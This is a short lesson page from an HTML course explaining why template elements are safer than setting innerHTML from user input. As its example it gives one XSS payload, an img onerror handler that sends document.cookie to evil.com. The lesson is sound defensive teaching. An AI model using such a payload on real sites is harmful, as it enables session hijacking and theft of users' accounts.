0Pricing
HTML Academy · Lesson

Templates vs innerHTML Security

Understand why templates are safer than setting innerHTML.

innerHTML Injection Risk

Setting el.innerHTML = userInput parses the string as HTML. If userInput contains <script> or event handlers like onerror, the browser executes them — creating a Cross-Site Scripting (XSS) vulnerability.

XSS via innerHTML Example

An attacker submits a username: <img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">. If this is rendered with innerHTML, the onerror fires and exfiltrates the session cookie. Text content becomes executable code.

All lessons in this course

  1. The template Element Inert Content
  2. Cloning Templates with cloneNode
  3. Using template with JavaScript Rendering
  4. Templates vs innerHTML Security
← Back to HTML Academy